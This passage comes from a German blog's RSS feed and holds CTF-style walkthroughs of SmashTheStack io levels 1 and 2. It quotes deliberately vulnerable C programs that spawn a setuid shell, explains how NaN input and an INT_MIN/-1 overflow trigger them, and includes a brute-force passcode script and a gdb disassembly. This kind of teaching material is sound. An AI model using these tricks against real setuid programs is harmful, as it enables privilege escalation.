        <span class="n">puts</span><span class="p">(</span><span class="s">&#34;high&#34;</span><span class="p">);</span> 
    <span class="k">else</span> <span class="n">execl</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span> <span class="s">&#34;sh&#34;</span><span class="p">,</span> <span class="s">&#34;-p&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div><p>Was tut der Code? Der Code macht nichts anderes als einen Parameter entgegenzunehmen und diesen auszuwerten. Ist der Parameter höher oder niedriger als unsere Konstante <code>answer</code> wird ein entsprechender Text ausgegeben. Wenn der Wert irgendetwas anderes ist spawnt eine Shell.
Ich benutze hier mit Absicht die Klausel &ldquo;irgendetwas anderes&rdquo;. Vielleicht denkst du dir schon wieso. Der per Parameter übergebene Wert muss nicht die Konstante <code>answer</code> treffen. Dies ist auch gar nicht möglich. Natürlich denkst du jetzt:&rdquo; Wieso denn das? Ich kann doch einfach 3.141593 als Parameter übergeben und bin drin!&rdquo; - Nein bist du eben nicht! Da es sich bei 3.141593 um eine Gleitkommazahl handelt kann sie binär nicht richtig dargestellt werden. Wenn wir nun also 3.141593 als Parameter übergeben würden, wäre dieser Wert ein anderer als in der Konstanten <code>answer</code> gespeichert ist. Das Rätsel ist also komplizierter als man denkt. Die Lösung ist aber relativ einfach, wenn man sie denn weiß. Der eingebene Parameter wird vom Typ String in den Typ Float umgewandelt mit der Funktion <code>strod</code>. Dies können wir uns zu Nutze machen. Im technischen Standard IEEE 754 ist festgesetzt, dass neben Gleitkommazahlen auch andere Werte möglich sind. Dazu gehören zum Beispiel &ldquo;Infinity&rdquo; ( unendlich ) und &ldquo;NaN&rdquo;. &ldquo;NaN&rdquo; ist die Abkürzung für &ldquo;Not a Number&rdquo; ( Keine Zahl ). Wenn wir also den Wert &ldquo;NaN&rdquo; als Parameter übergeben ist der Parameter nicht größer und auch nicht kleiner als <code>answer</code> und damit spawnt unsere Shell.</p>
<p>Soviel zu Aufgabe <code>level02_alt</code>. Nun widmen wir uns <code>level02</code>. Dazu schauen wir uns wieder den Sourcecode an:</p>
<div class="highlight"><pre class="chroma"><code class="language-c" data-lang="c"><span class="c1">//a little fun brought to you by bla
</span><span class="c1"></span>
<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;setjmp.h&gt;</span><span class="cp">
</span><span class="cp"></span>
<span class="kt">void</span> <span class="nf">catcher</span><span class="p">(</span><span class="kt">int</span> <span class="n">a</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">setresuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">(),</span><span class="n">geteuid</span><span class="p">(),</span><span class="n">geteuid</span><span class="p">());</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;WIN!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;source code is available in level02.c</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">3</span> <span class="o">||</span> <span class="o">!</span><span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]))</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">signal</span><span class="p">(</span><span class="n">SIGFPE</span><span class="p">,</span> <span class="n">catcher</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">abs</span><span class="p">(</span><span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span> <span class="o">/</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div><p>Dieser Code nimmt 2 Parameter entgegen. Nimmt man weniger oder mehr als 2 Parameter beendet das Programm. Das Programm beendet aber auch wenn die Zahlen nicht zum Typ Integer umgewandelt werden können. Danach wird ein Hook initialisiert um das Signal <code>SIGFPE</code> abzufangen, wenn dieses auftritt wird zur Funktion <code>catcher</code> gesprungen und eine Shell spawnt. Danach wird der erste Parameter durch den Zweiten geteilt und der Betrag vom Ergebnis zurückgegeben.</p>
<p>Von immenser Bedeutung für das Programm ist also das potenzielle Abfangen des Signals <code>SIGFPE</code>. Das Signal <code>SIGFPE</code> ( FPE für &ldquo;Floating Point Exception ) wird bei fehlerhaften arithmetischen Operationen geschmissen. Darunter fällt das Teilen durch Null, aber auch das überschreiten des Wertebereichs der Variable. Auf dem ersten Blick könnte man also einfach eine Teilung durch Null provozieren. Dies geht aber deshalb schief weil damit das zweite Argument Null wäre und damit wäre die Bedingung in der If-Klausel wahr und das Programm beendet. Deshalb ist die Lösung des Rätsels den Wertebereich des Datentyps Integer zu sprengen. Um festzustellen wie die Grenzen des Wertebereichs festgelegt sind können wir uns ein kleines C-Programm schreiben:</p>
<div class="highlight"><pre class="chroma"><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf">&lt;limits.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="cp"></span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Obere Grenze von Integer %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">INT_MAX</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Untere Grenze von Integer %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">INT_MIN</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div><p>Das Programm tut nichts anderes als die Konstanten <code>INT_MAX</code> und <code>INT_MIN</code> auszugeben, welche in der headerfile <code>limits.h</code> definiert sind. In den Konstanten stehen der höchste Wert und der niedrigste Wert für Integer. Die Ausgabe des Programms sieht so aus:</p>
<pre><code>Obere Grenze von Integer 2147483647
Untere Grenze von Integer -2147483648
</code></pre><p>Was auffällt ist, dass die untere Grenze vom Betrag her größer als die Obere ist. Wir müssen also nur die untere Grenze durch -1 teilen. Dies würde +2147483648 ergeben und damit den Zahlenbereich von Integer sprengen. Somit hätten wir das Rätsel gelöst.</p>
]]></content></item><item><title>Hello World</title><link>https://shibumi.dev/posts/hello-world/</link><pubDate>Thu, 14 Aug 2014 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/hello-world/</guid><description>Hey, schön das du da bist. Dies ist mein erster Blog-Eintrag. Ich habe lange Zeit darüber nachgedacht was ich in meinem ersten Blog-Eintrag schreibe. Nach viel hin und her kam ich also dann zu dem Schluss, dass ich doch einfach mit einem kleinen Spiel anfangen könnte. Das Spiel nennt sich SmashTheStack. Du kannst gerne mit spielen du findest das Spiel hier:
http://io.smashthestack.org/
Wie du sicher an der Subdomain bemerkt hast widmen wir uns dem Server io.</description><content type="html"><![CDATA[<p>Hey, schön das du da bist. Dies ist mein erster Blog-Eintrag. Ich habe lange Zeit darüber nachgedacht was ich in meinem ersten Blog-Eintrag schreibe. Nach viel hin und her kam ich also dann zu dem Schluss, dass ich doch einfach mit einem kleinen Spiel anfangen könnte. Das Spiel nennt sich <code>SmashTheStack</code>. Du kannst gerne mit spielen du findest das Spiel hier:</p>
<p><a href="http://io.smashthestack.org/">http://io.smashthestack.org/</a></p>
<p>Wie du sicher an der Subdomain bemerkt hast widmen wir uns dem Server <code>io</code>. Also dann loggen wir uns doch mal ein:</p>
<p><code>ssh io.smashthestack.org -l level1</code></p>
<p>Das Passwort lautet wie wir der Seite entnehmen können: <code>level1</code>. Als nächstes manövrieren wir uns in das <code>levels</code>-Verzeichnis.</p>
<p><code>cd /levels/</code></p>
<p>Dort angekommen finden wir auch schon unsere erste Aufgabe. Wir sollen ein Programm namens <code>level01</code> knacken. Das Programm liegt als ELF-Binärdatei (Executive and Linked Format) vor. Das ist die Standard-Binärdatei unter den meisten auf UNIX basierten Systemen. Dies ist aber nicht weiter von Bedeutung im Augenblick.<br>
Führen wir das Programm doch mal aus:</p>
<p><code>./level01</code></p>
<p>Was wir nun als Ausgabe sehen ist eine einfache Eingabeaufforderung:</p>
<p><code>Enter the 3 digit passcode to enter:</code></p>
<p>Unsere Aufgabe ist es also einen 3-stelligen Zahlencode zu erraten. Nun das können wir auf drei Möglichkeiten machen:</p>
<ol>
<li>
<p>Wir erraten die Zahl einfach. Das wären bei 3 stelligen Zahlen im uns bekannten Zehnersystem 10^3 Möglichkeiten. De facto also 1000 verschiedene Kombinationen. Auf sowas hätte ich natürlich keine Lust</p>
</li>
<li>
<p>Wir erraten die Zahl. Moment! Das steht doch schon bei Erstens. Ja. Das ist richtig. Der Unterschied ist aber das wir in Möglichkeit 2 nicht selbst raten. Stattdessen lassen wir den Computer für uns raten. Wir machen uns dabei zu Nutze, dass das <code>level01</code> Programm keine Ausgabe ausspuckt aber wir eine Ausgabe vermuten. Dazu habe ich folgendes script geschrieben:</p>
</li>
</ol>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span>
<span class="nv">list</span><span class="o">=</span><span class="k">$(</span> <span class="nb">echo</span> <span class="o">{</span>0..9<span class="o">}{</span>0..9<span class="o">}{</span>0..9<span class="o">}</span> <span class="k">)</span>
<span class="nv">re</span><span class="o">=</span><span class="s1">&#39;: [A-Za-z0-9]&#39;</span>

<span class="k">for</span> n in <span class="nv">$list</span>
  <span class="k">do</span>  
  <span class="nv">output</span><span class="o">=</span><span class="k">$(</span><span class="nb">echo</span> <span class="nv">$n</span> <span class="p">|</span> /levels/level01<span class="k">)</span>
  <span class="k">if</span> <span class="o">[[</span> <span class="nv">$output</span> <span class="o">=</span>~ <span class="nv">$re</span> <span class="o">]]</span>
  <span class="k">then</span>
    <span class="nb">echo</span> <span class="nv">$n</span>
    <span class="nb">exit</span> 
  <span class="k">fi</span>  
<span class="k">done</span>
</code></pre></div><p>Das script testet alle Zahlen durch und wenn das <code>level01</code> Programm etwas ausgibt stoppt es und nennt mir die Zahl, bei der gestoppt worden ist.</p>
<p>Damit hätten wir Level1 bereits gelöst. Aber diese Variante ist äußerst unschön, weil viele Faktoren außen vor gelassen werden. Was ist zum Beispiel wenn das Programm nichts ausgeben würde wenn die richtige Zahl getroffen wird? Was ist wenn die Kombinationsmöglichkeiten der Zahlen weit aus höher sind? Hier waren es nur 3 Stellen. Aber was machen wir bei 300 Stellen?
All diese Faktoren sind in unserem script nicht berücksichtigt. Deshalb kommen wir zu Möglichkeit 3.</p>
<p>Wir debuggen das Programm. Dafür starten wir <code>gdb</code> den standard debugger auf Linux und disassemblieren die <code>main</code>-Funktion. Die <code>main</code>-Funktion ist bei C-Programmen sowas wie der Einstiegspunkt. Jedes C-Programm hat eine <code>main</code>-Funktion:</p>
<p><img src="/img/level01.png" alt="Bild des disassemblierten Programms"></p>
<p>Gehen wir den disassemblierten Code mal Schritt für Schritt durch. Fangen wir mit der ersten Zeile an:</p>
<p><code>0x08048080 &lt;+0&gt;: push   $0x8049128</code></p>
<p>Hier wird ein Zeiger auf die Adresse 0x8049128 auf den Stack gepushed. An der Adresse 0x8049128 finden wir die visuelle Ausgabe des Programms. Unter anderem den String von oben.</p>
<p><code>0x08048085 &lt;+5&gt;: call   0x804810f &lt;puts&gt;</code></p>
<p>Mit <code>call</code> wird die Funktion <code>puts</code> aufgerufen. Der vorher auf den Stack gepushte Zeiger dient dabei als Argument fü die Funktion <code>puts</code>, welche dann den String an der Adresse auf die der Zeiger zeigt ausgibt.</p>
<p><code>0x0804808a &lt;+10&gt;:  call   0x804809f &lt;fscanf&gt;</code></p>
<p>Hier wird wieder eine Funktion aufgerufen. Diesesmal ist es <code>fscanf</code>. <code>fscanf</code> dient dazu unsere Eingabe entgegenzunehmen.</p>
<p><code>0x0804808f &lt;+15&gt;:  cmp    $0x10f,%eax</code></p>
<p>Mit <code>cmp</code> ( von Englisch: compare ) werden zwei Werte verglichen. In diesem Fall der Hexwert <code>0x10F</code> mit dem Wert im Akkumulatorregister <code>eax</code>. Daraus schließen wir, dass <code>fscanf</code> die Eingabe in <code>eax</code> gespeichert hat und die Eingabe nun mit einem festen Wert verglichen wird.</p>
<p><code>0x08048094 &lt;+20&gt;:  je     0x80480dc &lt;YouWin&gt;</code></p>
<p>Anhand der Instruction <code>je</code> wissen wir das auf Gleichheit geprüft wird. <code>je</code> heißt soviel wie <code>jump if equal</code>. Wenn die Werte also gleich sind die zuvor verglichen wurden springt das Programm an die Funktion <code>YouWin</code>.</p>
<p><code>0x0804809a &lt;+26&gt;:  call   0x8048103 &lt;exit&gt;</code></p>
<p>In dieser Zeile wird die Funkion <code>exit</code> aufgerufen, welche das Programm beendet.</p>
<p>Nun haben wir das Programm vollständig disassembliert und können mit Sicherheit sagen, dass die gesuchte dreistellige Zahl, die Zahl <code>0x10F</code> ist. Wenn wir <code>0x10F</code> umrechnen erhalten wir die Dezimalzahl 271. Damit haben wir die Lösung gefunden. Und das erste Level gelöst.
Den Schlüssel für das nächste Level finden wir unter:</p>
<p><code>/home/level2/.pass</code></p>
]]></content></item></channel></rss>